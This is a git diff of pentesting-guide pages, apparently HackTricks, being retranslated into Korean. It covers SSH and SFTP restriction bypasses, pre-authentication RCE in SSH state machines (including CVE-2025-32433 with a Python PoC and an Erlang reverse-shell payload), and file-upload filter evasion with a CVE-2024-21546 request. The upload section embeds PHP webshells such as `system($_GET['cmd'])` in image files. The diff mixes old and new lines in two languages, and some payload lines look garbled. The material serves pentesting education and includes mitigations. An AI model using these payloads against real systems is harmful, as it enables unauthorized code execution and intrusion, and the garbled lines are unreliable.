SFTP 설정에서 관리자가 사용자가 원격 셸 접근을 활성화하지 않고 파일을 교환하도록 의도하는 경우 일반적인 간과가 발생합니다. 비대화형 셸(예: `/usr/bin/nologin`)로 사용자를 설정하고 특정 디렉토리에 제한하더라도 보안 허점이 남아 있습니다. **사용자는 로그인 직후 명령 실행을 요청하여 이러한 제한을 우회할 수 있습니다**(예: `/bin/bash`), 비대화형 셸이 차지하기 전에. 이는 무단 명령 실행을 허용하여 의도된 보안 조치를 약화시킵니다.
|
||||
SFTP 설정에서 흔히 발생하는 실수로, 관리자는 사용자들이 원격 쉘 접근 없이 파일만 교환하도록 의도합니다. 비대화형 셸(예: `/usr/bin/nologin`)을 할당하고 특정 디렉터리로 제한했더라도 보안 허점이 남아 있습니다. 사용자는 로그인 직후 비대화형 셸이 적용되기 전에 `/bin/bash` 같은 명령 실행을 요청함으로써 이러한 제한을 우회할 수 있습니다. 이는 무단 명령 실행을 가능하게 하여 의도된 보안 조치를 무력화합니다.
|
||||
|
||||
[여기에서의 예](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
|
||||
```bash
|
||||
ssh -v noraj@192.168.1.94 id
|
||||
...
|
||||
@ -222,7 +242,7 @@ debug1: Exit status 0
|
||||
|
||||
$ ssh noraj@192.168.1.94 /bin/bash
|
||||
```
|
||||
다음은 사용자 `noraj`에 대한 보안 SFTP 구성 예시입니다 (`/etc/ssh/sshd_config` – openSSH):
|
||||
다음은 사용자 `noraj`를 위한 보안 SFTP 구성 (`/etc/ssh/sshd_config` – openSSH) 예시입니다:
|
||||
```
|
||||
Match User noraj
|
||||
ChrootDirectory %h
|
||||
@ -232,40 +252,40 @@ PermitTunnel no
|
||||
X11Forwarding no
|
||||
PermitTTY no
|
||||
```
|
||||
이 구성은 SFTP만 허용합니다: 시작 명령을 강제하여 셸 액세스를 비활성화하고 TTY 액세스를 비활성화하며 모든 종류의 포트 포워딩 또는 터널링을 비활성화합니다.
|
||||
이 구성은 SFTP만 허용합니다: start command를 강제해 shell access와 TTY access를 비활성화하며, 또한 모든 종류의 port forwarding이나 tunneling을 비활성화합니다.
|
||||
|
||||
### SFTP Tunneling
|
||||
|
||||
SFTP 서버에 액세스할 수 있는 경우, 일반적인 포트 포워딩을 사용하여 이 경로를 통해 트래픽을 터널링할 수 있습니다:
|
||||
SFTP 서버에 접근할 수 있다면, 예를 들어 일반적인 port forwarding을 사용해 트래픽을 이를 통해 tunneling할 수도 있습니다:
|
||||
```bash
|
||||
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
The **sftp** have the command "**symlink**". Therefore, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**.
|
||||
**sftp**는 명령어 "**symlink**"를 제공합니다. 따라서 어떤 폴더에 **writable rights**가 있다면 다른 폴더/파일의 **symlinks**를 생성할 수 있습니다. 대부분 **chroot** 안에 갇혀 있기 때문에 이것이 특별히 유용하지 않을 수 있지만, 생성한 **symlink**에 **no-chroot** **service**(예: web)에서 접근할 수 있다면 **symlinked files**를 web을 통해 열어볼 수 있습니다.
|
||||
|
||||
예를 들어, 새 파일 **"**_**froot**_**"에서 "**_**/**_**"**로 **symlink**를 생성하려면:
|
||||
예를 들어, 새 파일 **"**_**froot**_**"에서 "**_**/**_**"로 **symlink**를 생성하려면:
|
||||
```bash
|
||||
sftp> symlink / froot
|
||||
```
|
||||
웹을 통해 "_froot_" 파일에 접근할 수 있다면 시스템의 루트("/") 폴더를 나열할 수 있습니다.
|
||||
If you can access the file "_froot_" via web, you will be able to list the root ("/") folder of the system.
|
||||
|
||||
### 인증 방법
|
||||
|
||||
높은 보안 환경에서는 단순한 비밀번호 기반 인증 대신 키 기반 또는 2단계 인증만 활성화하는 것이 일반적인 관행입니다. 그러나 종종 더 강력한 인증 방법이 활성화되면서 약한 방법이 비활성화되지 않는 경우가 많습니다. 일반적인 사례는 openSSH 구성에서 `publickey`를 활성화하고 이를 기본 방법으로 설정하지만 `password`를 비활성화하지 않는 것입니다. 따라서 SSH 클라이언트의 자세한 모드를 사용하면 공격자가 약한 방법이 활성화되어 있음을 확인할 수 있습니다:
|
||||
보안 수준이 높은 환경에서는 단일 요소인 비밀번호 기반 인증보다 키 기반 인증이나 2단계 인증만을 활성화하는 것이 일반적입니다. 그러나 종종 더 강력한 인증 방법을 활성화하면서 약한 방법을 비활성화하지 않는 경우가 있습니다. 흔한 예가 openSSH 설정에서 `publickey`를 활성화해 기본 방법으로 설정해도 `password`를 비활성화하지 않는 경우입니다. 따라서 SSH 클라이언트의 verbose 모드를 사용하면 공격자는 약한 방법이 활성화되어 있는 것을 확인할 수 있습니다:
|
||||
```bash
|
||||
ssh -v 192.168.1.94
|
||||
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
|
||||
...
|
||||
debug1: Authentications that can continue: publickey,password,keyboard-interactive
|
||||
```
|
||||
인증 실패 제한이 설정되어 있고 비밀번호 방법에 도달할 기회가 없다면, `PreferredAuthentications` 옵션을 사용하여 이 방법을 강제로 사용할 수 있습니다.
|
||||
예를 들어 인증 실패 제한이 설정되어 있고 password method에 도달할 기회를 얻지 못하는 경우, `PreferredAuthentications` 옵션을 사용해 이 방법을 강제로 사용하도록 할 수 있습니다.
|
||||
```bash
|
||||
ssh -v 192.168.1.94 -o PreferredAuthentications=password
|
||||
...
|
||||
debug1: Next authentication method: password
|
||||
```
|
||||
SSH 서버 구성을 검토하는 것은 예상되는 방법만이 허가되었는지 확인하는 데 필요합니다. 클라이언트에서 자세한 모드를 사용하면 구성의 효과를 확인하는 데 도움이 될 수 있습니다.
|
||||
SSH 서버 구성을 검토하여 예상된 방식만 허용되는지 확인해야 한다. 클라이언트의 verbose 모드를 사용하면 구성의 효과를 확인하는 데 도움이 된다.
|
||||
|
||||
### 구성 파일
|
||||
```bash
|
||||
@ -276,27 +296,27 @@ ssh_known_hosts
|
||||
known_hosts
|
||||
id_rsa
|
||||
```
|
||||
## 퍼징
|
||||
## Fuzzing
|
||||
|
||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## 인증 상태 기계 우회 (사전 인증 원격 코드 실행)
|
||||
## Authentication State-Machine Bypass (Pre-Auth RCE)
|
||||
|
||||
여러 SSH 서버 구현에는 **인증 유한 상태 기계**의 논리적 결함이 있어 클라이언트가 인증이 완료되기 **전**에 *연결 프로토콜* 메시지를 보낼 수 있습니다. 서버가 올바른 상태에 있는지 확인하지 않기 때문에 이러한 메시지는 사용자가 완전히 인증된 것처럼 처리되어 **비인증 코드 실행** 또는 세션 생성으로 이어집니다.
|
||||
여러 SSH 서버 구현에는 **authentication finite-state machine**에 논리적 결함이 있어 클라이언트가 인증이 완료되기 *이전에* *connection-protocol* 메시지를 보낼 수 있습니다. 서버가 올바른 상태인지 검증하지 않기 때문에, 이러한 메시지들은 사용자가 완전히 인증된 것처럼 처리되어 **인증되지 않은 코드 실행** 또는 세션 생성으로 이어집니다.
|
||||
|
||||
프로토콜 수준에서 _메시지 코드_ **≥ 80** (0x50)을 가진 모든 SSH 메시지는 *연결* 계층(RFC 4254)에 속하며 **성공적인 인증 후에만 수락되어야 합니다** (RFC 4252). 서버가 *SSH_AUTHENTICATION* 상태에 있는 동안 이러한 메시지 중 하나를 처리하면 공격자는 즉시 채널을 생성하고 명령 실행, 포트 포워딩 등의 작업을 요청할 수 있습니다.
|
||||
프로토콜 수준에서, _message code_가 **≥ 80** (0x50)인 모든 SSH 메시지는 *connection* 레이어(RFC 4254)에 속하며 **성공적인 인증 이후에만 허용되어야 합니다** (RFC 4252). 서버가 *SSH_AUTHENTICATION* 상태에 있는 동안 이러한 메시지 중 하나를 처리하면, 공격자는 즉시 채널을 생성하고 명령 실행, 포트 포워딩 등과 같은 작업을 요청할 수 있습니다.
|
||||
|
||||
### 일반적인 악용 단계
|
||||
1. 대상의 SSH 포트(일반적으로 22, 그러나 다른 서비스는 2022, 830, 2222 등에서 Erlang/OTP를 노출할 수 있음)에 TCP 연결을 설정합니다.
|
||||
2. 원시 SSH 패킷을 작성합니다:
|
||||
* 4바이트 **packet_length** (빅 엔디안)
|
||||
* 1바이트 **message_code** ≥ 80 (예: `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* 선택한 메시지 유형이 이해할 수 있는 페이로드
|
||||
3. **모든 인증 단계를 완료하기 전에** 패킷을 전송합니다.
|
||||
4. 이제 _사전 인증_ 상태에서 노출된 서버 API와 상호작용합니다 (명령 실행, 포트 포워딩, 파일 시스템 접근 등).
|
||||
### 일반적인 익스플로잇 단계
|
||||
1. 대상의 SSH 포트(일반적으로 22)에 TCP 연결을 수립합니다. 다만 다른 서비스는 Erlang/OTP를 2022, 830, 2222 등에서 노출할 수 있습니다.
|
||||
2. 원시 SSH 패킷을 생성합니다:
|
||||
* 4-byte **packet_length** (big-endian)
|
||||
* 1-byte **message_code** ≥ 80 (예: `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* 선택한 메시지 타입이 이해할 수 있는 페이로드
|
||||
3. 어떤 인증 단계도 완료하기 **전에** 패킷을 전송합니다.
|
||||
4. 이제 _pre-auth_ 상태에서 노출된 서버 API와 상호작용합니다 (명령 실행, 포트 포워딩, 파일 시스템 접근 등).
|
||||
|
||||
Python 개념 증명 개요:
|
||||
Python proof-of-concept outline:
|
||||
```python
|
||||
import socket, struct
|
||||
HOST, PORT = '10.10.10.10', 22
|
||||
@ -308,43 +328,45 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
실제로는 대상 구현에 따라 키 교환을 수행하거나 건너뛰어야 하지만, **인증**은 절대 수행되지 않습니다.
|
||||
실무에서는 대상 구현에 따라 키 교환을 수행(또는 건너뛰기)해야 하지만, **no authentication**는 전혀 수행되지 않습니다.
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **영향을 받는 버전:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **근본 원인:** Erlang 네이티브 SSH 데몬은 `ssh_connection:handle_msg/2`를 호출하기 전에 현재 상태를 검증하지 않습니다. 따라서 메시지 코드 80-255가 있는 패킷은 세션이 여전히 *userauth* 상태에 있는 동안 연결 핸들러에 도달합니다.
|
||||
* **영향:** 인증되지 않은 **원격 코드 실행** (데몬은 일반적으로 임베디드/OT 장치에서 **root**로 실행됩니다).
|
||||
* **영향받는 버전:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **근본 원인:** the Erlang native SSH daemon does not validate the current state before invoking `ssh_connection:handle_msg/2`. 따라서 메시지 코드가 80-255인 모든 패킷이 세션이 여전히 *userauth* 상태에 있는 동안 연결 핸들러에 도달합니다.
|
||||
* **영향:** unauthenticated **remote code execution** (해당 데몬은 일반적으로 **root** 권한으로 임베디드/OT 장치에서 실행됩니다).
|
||||
|
||||
공격자가 제어하는 채널에 바인딩된 리버스 셸을 생성하는 예제 페이로드:
|
||||
공격자가 제어하는 채널에 바인딩된 reverse shell을 생성하는 예시 페이로드:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
```
|
||||
블라인드 RCE / 아웃오브밴드 탐지는 DNS를 통해 수행할 수 있습니다:
|
||||
Blind RCE / out-of-band detection은 DNS를 통해 수행할 수 있다:
|
||||
```erlang
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
탐지 및 완화:
|
||||
* SSH 트래픽 검사: **인증 전에 관찰된 메시지 코드 ≥ 80을 가진 패킷은 모두 드롭**합니다.
|
||||
* Erlang/OTP를 **27.3.3 / 26.2.5.11 / 25.3.2.20** 또는 최신 버전으로 업그레이드합니다.
|
||||
* 관리 포트(22/2022/830/2222)의 노출을 제한합니다 – 특히 OT 장비에서.
|
||||
* SSH 트래픽 검사: **인증 전에 관찰된 message code ≥ 80인 패킷을 폐기(drop)**.
|
||||
* Erlang/OTP를 **27.3.3 / 26.2.5.11 / 25.3.2.20** 이상으로 업그레이드하세요.
|
||||
* 관리 포트 노출 제한(22/2022/830/2222) – 특히 OT 장비에서.
|
||||
|
||||
---
|
||||
### 영향을 받는 다른 구현
|
||||
* **libssh** 0.6 – 0.8 (서버 측) – **CVE-2018-10933** – 클라이언트가 보낸 인증되지 않은 `SSH_MSG_USERAUTH_SUCCESS`를 수락하며, 사실상 역 논리 결함입니다.
|
||||
### Other Implementations Affected
|
||||
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – 클라이언트가 보낸 인증되지 않은 `SSH_MSG_USERAUTH_SUCCESS`를 수락하여, 사실상 역(逆) 논리적 결함을 일으킵니다.
|
||||
|
||||
공통적인 교훈은 RFC에서 요구하는 상태 전이에서의 어떤 편차도 치명적일 수 있다는 것입니다; SSH 데몬을 검토하거나 퍼징할 때 *상태 기계 강제 집행*에 특히 주의하십시오.
|
||||
공통적인 교훈은 RFC에서 규정한 상태 전이에서의 어떤 편차도 치명적일 수 있다는 점입니다; SSH 데몬을 검토하거나 fuzzing할 때는 *상태 전이 강제*에 특히 주의를 기울이세요.
|
||||
|
||||
|
||||
|
||||
## 참조
|
||||
## References
|
||||
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [SSH 하드닝 가이드](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH 해킹 가이드](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md)
|
||||
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||
|
||||
## HackTricks 자동 명령
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
Protocol_Name: SSH
|
||||
Port_Number: 22
|
||||
|
@ -4,10 +4,10 @@
|
||||
|
||||
## 파일 업로드 일반 방법론
|
||||
|
||||
추가로 유용한 확장자:
|
||||
Other useful extensions:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
|
||||
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
|
||||
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
|
||||
@ -17,11 +17,11 @@
|
||||
|
||||
### 파일 확장자 검사 우회
|
||||
|
||||
1. 적용된다면, **이전 확장자들을 확인**하세요. 또한 일부 **대문자**를 사용해 테스트하세요: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 확장자 앞에 유효한 확장자를 **추가하는 것을 확인**하세요 (이전 확장자들도 사용하세요):_
|
||||
1. 해당되는 경우, **이전 확장자들**을 확인하세요. 또한 일부 **대문자**를 사용해 테스트해보세요: _pHp, .pHP5, .PhAr ..._
|
||||
2. _실행 확장자 앞에 유효한 확장자를 **추가하는 것**을 확인하세요 (이전 확장자들도 사용):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. 파일명 끝에 **특수 문자**를 추가해보세요. Burp를 사용해 모든 **ascii** 및 **Unicode** 문자를 **bruteforce**할 수 있습니다. (_이전에 언급한 **확장자**들도 사용해볼 수 있습니다_)
|
||||
3. 끝에 **특수 문자를 추가해보세요.** Burp로 모든 **ascii** 및 **Unicode** 문자를 **bruteforce**할 수 있습니다. (_참고: 이전에 언급한 **extensions**도 시도할 수 있습니다_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
@ -31,7 +31,7 @@
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. 서버 측의 확장자 파서를 속여 보호를 우회해보세요. 예: 확장자를 중복시키거나 확장자 사이에 **null bytes** 같은 쓰레기 데이터를 삽입. _더 나은 페이로드를 준비하기 위해 **이전 확장자들**을 사용할 수도 있습니다._
|
||||
4. 서버 측의 확장자 파서를 속여 보호를 우회해보세요 — 예: **doubling** the **extension** 또는 확장자 사이에 **adding junk** 데이터(**null** bytes)를 넣는 기법. _이전 확장자들을 사용해 더 나은 페이로드를 준비할 수도 있습니다._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -40,12 +40,12 @@
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. 이전에 시도한 것에 **추가 확장자 레이어**를 더해보세요:
|
||||
5. 이전 시도에 **또 다른 확장자 레이어**를 추가하세요:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. 실행 확장자를 유효한 확장자 앞에 두어 서버가 잘못 구성되어 있길 바라며 시도해보세요. (예: Apache의 잘못된 구성에서는 파일명이 반드시 .php로 끝나지 않더라도 `.php`가 포함되어 있으면 코드가 실행될 수 있음):
|
||||
6. 유효한 확장자 앞에 **exec 확장자**를 두고 서버가 잘못 구성되기를 기대해보세요. (예: Apache의 잘못된 구성에서는 확장자에 **.php**가 포함되어 있으면 반드시 .php로 끝나지 않아도 코드가 실행될 수 있습니다):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우, 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 **금지 확장자를 가진 빈 파일**이 생성될 수 있습니다 (예: "file.asax:.jpg"). 이 파일은 이후 short filename 등을 이용한 다른 기법으로 수정될 수 있습니다. "**::$data**” 패턴을 사용해 비어 있지 않은 파일을 생성할 수도 있습니다. 따라서 이 패턴 뒤에 마침표를 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: "file.asp::$data.")
|
||||
7. **Windows**에서 **NTFS alternate data stream (ADS)** 사용. 이 경우 금지된 확장자 뒤와 허용된 확장자 앞에 콜론 ":" 문자가 삽입됩니다. 결과적으로 서버에 **금지된 확장자를 가진 빈 파일**이 생성될 수 있습니다(예: "file.asax:.jpg”). 이 파일은 나중에 short filename 같은 다른 기법으로 편집될 수 있습니다. "**::$data**” 패턴은 비어있지 않은 파일을 생성하는 데에도 사용될 수 있습니다. 따라서 이 패턴 뒤에 점(.)을 추가하는 것도 추가 제한을 우회하는 데 유용할 수 있습니다 (예: "file.asp::$data.”)
|
||||
8. 파일명 길이 제한을 깨보세요. 유효한 확장자가 잘리고 악성 PHP가 남을 수 있습니다. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
일부 업로드 핸들러는 저장된 파일명에서 후행 점(trailing dot) 문자를 제거하거나 정규화합니다. UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) 버전 2.9.1 이전에서는 확장자 검증을 다음 방법으로 우회할 수 있습니다:
|
||||
일부 업로드 핸들러는 저장된 파일명에서 끝의 점 문자를 잘라내거나 정규화합니다. UniSharp의 Laravel Filemanager (unisharp/laravel-filemanager) 2.9.1 이전 버전에서는 다음 방법으로 확장자 검증을 우회할 수 있습니다:
|
||||
|
||||
- 유효한 이미지 MIME과 magic header를 사용하세요 (예: PNG의 `\x89PNG\r\n\x1a\n`).
|
||||
- 업로드 파일 이름을 PHP 확장자 다음에 점을 붙여 지정하세요. 예: `shell.php.`.
|
||||
- 서버가 후행 점을 제거해 `shell.php`로 저장하며, 이 파일이 웹에서 서빙되는 디렉터리(기본 public storage 예: `/storage/files/`)에 배치되면 실행됩니다.
|
||||
- 유효한 이미지 MIME과 magic header 사용 (예: PNG의 `\x89PNG\r\n\x1a\n`).
|
||||
- 업로드한 파일명을 PHP 확장자 뒤에 점을 붙여 명명, 예: `shell.php.`.
|
||||
- 서버가 끝의 점을 제거하여 `shell.php`로 저장하며, 이 파일이 웹에서 서비스되는 디렉터리(기본 public storage 예: `/storage/files/`)에 놓이면 실행됩니다.
|
||||
|
||||
최소 PoC (Burp Repeater):
|
||||
Minimal PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
@ -80,54 +80,55 @@ Content-Type: image/png
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
그런 다음 저장된 경로로 요청하세요 (Laravel + LFM에서 일반적):
|
||||
그런 다음 저장된 경로에 접근하세요 (Laravel + LFM에서 일반적임):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
Mitigations:
|
||||
완화 조치:
|
||||
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
|
||||
- 서버 측에서 strict server-side allowlists를 적용하고 저장된 파일명을 재검증하세요.
|
||||
- 업로드 파일을 non-executable 위치에서 제공하세요.
|
||||
- 서버 측에서 엄격한 allowlists를 적용하고 저장된 파일명을 재검증하세요.
|
||||
- 업로드된 파일은 실행 불가능한 위치에서 제공하세요.
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
|
||||
- Content-Type 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정하세요: _image/png_, _text/plain_, application/octet-stream
|
||||
- Bypass **Content-Type** checks by setting the **value** of the **Content-Type** **header** to: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **magic number** 검사를 우회하려면 파일 시작 부분에 **실제 이미지의 바이트**를 추가하여 _file_ 명령을 혼동시키세요. 또는 **metadata**에 셸을 삽입하세요:\
|
||||
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` 또는 이미지를 직접적으로 **페이로드를 주입**할 수도 있습니다:\
|
||||
`\` or you could also **introduce the payload directly** in an image:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- 만약 이미지에 **compression이 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php) 같은 표준 PHP 라이브러리를 사용할 때 이전 기법들은 효과가 없을 수 있습니다. 그러나 **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 **압축을 견디는** 텍스트를 삽입할 수 있습니다.
|
||||
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 웹 페이지가 **이미지 resizing**을 수행할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용하는 경우가 그렇습니다. 그러나 **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 **압축을 견디는** 텍스트를 삽입할 수 있습니다.
|
||||
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 이미지 리사이징을 견디는 페이로드를 만드는 또 다른 기법으로 PHP-GD 함수 `thumbnailImage`를 사용하는 방법이 있습니다. 그러나 **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 **압축을 견디는** 텍스트를 삽입할 수 있습니다.
|
||||
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
|
||||
- 이미 업로드된 파일의 확장자를 변경하기 위해 파일명을 **rename**할 수 있는 취약점을 찾아보세요.
|
||||
- Local File Inclusion 취약점을 찾아 백도어를 실행하세요.
|
||||
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
|
||||
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
|
||||
- **Possible Information disclosure**:
|
||||
1. 동일한 **파일**을 **여러 번**(그리고 **동시에**) 같은 이름으로 업로드하세요.
|
||||
1. 여러 번(그리고 **동시에**) 동일한 **파일**을 같은 **이름**으로 업로드하세요.
|
||||
2. 이미 존재하는 **파일** 또는 **폴더**의 **이름**으로 파일을 업로드하세요.
|
||||
3. 파일 이름을 **"."**, **".."**, 또는 **"..."**로 업로드하세요. 예를 들어, Apache가 **Windows**에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일 이름은 "/www/" 디렉터리에 "uploads"라는 파일을 생성합니다.
|
||||
4. **NTFS**에서 쉽게 삭제되지 않는 파일 이름(예: **"...:.jpg"**)을 업로드하세요. (Windows)
|
||||
5. **Windows**에서 파일 이름에 `|<>*?”` 같은 **invalid characters**를 포함한 파일을 업로드하세요. (Windows)
|
||||
6. **Windows**에서 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9 같은 **reserved**(**forbidden**) 이름을 사용해 파일을 업로드하세요.
|
||||
- 피해자가 실수로 열었을 때 코드가 실행되도록 **executable**(.exe) 또는 (덜 의심스러운) **.html** 파일을 업로드해 보세요.
|
||||
3. 파일 이름을 `"."`, `".."`, 또는 `"…"` 로 업로드하세요. 예를 들어, Apache가 **Windows**에서 애플리케이션이 업로드된 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 uploads”라는 파일을 생성합니다.
|
||||
4. **NTFS**에서 삭제하기 어려운 파일 이름(예: **"…:.jpg"**)을 업로드하세요. (Windows)
|
||||
5. 이름에 `|<>*?”` 같은 **잘못된 문자**가 포함된 파일을 Windows에 업로드해 보세요. (Windows)
|
||||
6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9와 같은 Windows의 **예약(금지) 이름**을 사용해 파일을 업로드하세요.
|
||||
- 피해자가 실수로 열었을 때 **코드가 실행되는** .exe 같은 **실행 파일**이나 덜 의심스러운 **.html** 파일을 업로드해 보세요.
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` 파일은 자바의 `.jar`와 유사하지만 PHP용이며, **php 파일처럼 사용될 수 있습니다**(php로 실행하거나 스크립트에 포함하여 사용 가능).
|
||||
